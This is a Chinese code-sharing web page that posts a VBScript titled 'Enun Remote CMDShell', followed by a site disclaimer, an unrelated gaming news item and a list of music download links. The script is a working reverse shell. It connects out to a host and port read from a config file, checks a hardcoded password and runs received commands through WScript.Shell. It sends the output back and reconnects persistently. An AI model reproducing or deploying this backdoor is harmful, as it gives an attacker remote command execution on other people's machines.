复制代码 代码如下:
'============================
' Enun Remote CMDShell v 1.0
'============================
Option Explicit
CONST ACCOUNT_LOCK_TIME = 600000 '账户锁定时间,10分钟
CONST LOCKOUT_BAD_COUNT = 3 '密码失败次数
CONST DEFAULT_WAIT_TIME = 1000 '默认延时,1秒
CONST DEFAULT_TIME_OUT = 60000 '默认超时,60秒
Public WinSocket, sRevData, Count
Do
On Error Resume Next
Do While (WinSocket.State <> 7)
Dim ObjectFSO, GetConfig, Line, Host, Port, i
Set WinSocket = WScript.CreateObject("MSWinsock.Winsock")
Set ObjectFSO = CreateObject("Scripting.FileSystemObject")
Set GetConfig = ObjectFSO.OpenTextFile(".\enunrc.ini", 1)
For i = 1 To 3
Line = GetConfig.ReadLine
If InStr(Line,"Host") > 0 Then Host = Split(Line, "=", -1, 1)(1)
If InStr(Line,"Port") > 0 Then Port = Split(Line, "=", -1, 1)(1)
Next
If (Len(Host) = 0) Then Host = "127.0.0.1"
If (Len(Port) = 0) Then Port = "8090"
WinSocket.Protocol = 0
WinSocket.RemoteHost = Host
WinSocket.RemotePort = Port
WinSocket.Connect
WScript.Sleep DEFAULT_WAIT_TIME * 5
Call TrackScript(2, WinSocket.State, WinSocket.BytesReceived)
'Setp: 2
Loop
Do While (WinSocket.State <> 9 and WinSocket.State <> 0)
Dim AuthKey, LockoutBadCount, TIMEOUT_M, TIMEOUT_N
TIMEOUT_N = 0
WinSocket.SendData WinSocket.LocalHostName & " is Connected, Enter Password: "
Do While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)
TIMEOUT_N = TIMEOUT_N + 1000
Call ControlTimeout(TIMEOUT_N)
Loop
WinSocket.GetData Authkey, vbString
If Split(Authkey, chr(10), -1, 1)(0) = "veteran" Then
WinSocket.SendData "Logon Success, Welcome!" & vbcrlf
sRevData = "veteran"
Do While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)
Dim ShellObj, Executes
Set ShellObj = CreateObject("WScript.Shell")
Set Executes = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))
WinSocket.SendData Executes.StdOut.ReadAll
WinSocket.SendData Executes.StdErr.ReadAll
If (Len(sRevData) > 0) Then
TIMEOUT_M = 0
WinSocket.SendData vbcrlf & "[" & WinSocket.LocalHostName & "@enun]#: "
Else
Do While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)
TIMEOUT_M = TIMEOUT_M + 1000
Call ControlTimeout(TIMEOUT_M)
Loop
End If
If (LCase(Left(sRevData, 4)) = "exit") Then WinSocket.Close
WinSocket.GetData sRevData, vbString
WScript.Sleep DEFAULT_WAIT_TIME
Call TrackScript(5, WinSocket.State, WinSocket.BytesReceived)
'Setp: 5
Loop
Else
LockoutBadCount = LockoutBadCount + 1
WinSocket.SendData "Logon fail: Unknown user name or bad password." & vbcrlf
WScript.Sleep DEFAULT_WAIT_TIME
End If
If (LockoutBadCount = LOCKOUT_BAD_COUNT) Then
WinSocket.SendData "Failed too many times, the account has been locked!" & vbcrlf
WScript.Sleep DEFAULT_WAIT_TIME
WinSocket.Close
LockoutBadCount = 0
WScript.Sleep ACCOUNT_LOCK_TIME
'锁定账户
End If
Call TrackScript(3, WinSocket.State, WinSocket.BytesReceived)
'Setp: 3
Loop
Call TrackScript(1, WinSocket.State, WinSocket.BytesReceived)
'Setp: 1
Loop
'=======================
'Control Timeout.
'=======================
Public Sub ControlTimeout(Count)
If Count = DEFAULT_TIME_OUT Then
WinSocket.SendData vbcrlf & "Local server response timeout, Please reconnect ..." & vbcrlf
WScript.Sleep DEFAULT_WAIT_TIME
WinSocket.Close
'控制端60秒内无输入的话,连接自动断开,可即时连接。
Else
WScript.Sleep DEFAULT_WAIT_TIME
End If
Call TrackScript(4, WinSocket.State, WinSocket.BytesReceived)
'Setp: 4
End Sub
'=======================
'Track Script.
'=======================
Public Sub TrackScript(MyStep, StateCode, BytesReceived)
WScript.echo "MyStep: " & MyStep & ", StateCode: " & StateCode & ", Received: " & BytesReceived & " Bytes"
End Sub
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
稳了!魔兽国服回归的3条重磅消息!官宣时间再确认!
昨天有一位朋友在大神群里分享,自己亚服账号被封号之后居然弹出了国服的封号信息对话框。
这里面让他访问的是一个国服的战网网址,com.cn和后面的zh都非常明白地表明这就是国服战网。
而他在复制这个网址并且进行登录之后,确实是网易的网址,也就是我们熟悉的停服之后国服发布的暴雪游戏产品运营到期开放退款的说明。这是一件比较奇怪的事情,因为以前都没有出现这样的情况,现在突然提示跳转到国服战网的网址,是不是说明了简体中文客户端已经开始进行更新了呢?
更新日志
- 《华音》角色图鉴介绍
- 【欧美乡村(H)】MichaelBorger-2024-JustforUs(FLAC)
- 张国荣.2013-MissYouMuch,Leslie【环球】3CD【WAV+CUE】
- 中唱唱片群星《好歌珍藏-士兵旋律》2CDWAV
- 谁说男人只能被女人吸引?有劲爆话题的囧图
- 想看周杰伦却抢到平替音乐会票 被误导的不止一人?
- 全球千万预约,这款和黑神话一起在海外乱杀的游戏要来了
- 高品质耳机测试发烧碟《森海塞尔耳机测试碟合集》 6CD [CUE+FLAC/APE][1.5G]
- 叶倩文《华纳超极品音色系列》MQA 3CD[FLAC][1.3G]
- 《孙燕姿歌曲合集》[WAV/分轨][18GB]
- 萧煌奇.2024-没事的【华纳】【WAV分轨】
- 于冠华.1992-爱情囚犯【新笛】【WAV+CUE】
- 郭美美.2007-我的答铃【华纳】【WAV+CUE】
- 出发吧麦芬永冻禁区矿场试炼怎么过 永冻禁区矿场阵容打法攻略
- dnf巴卡尼单人和多人区别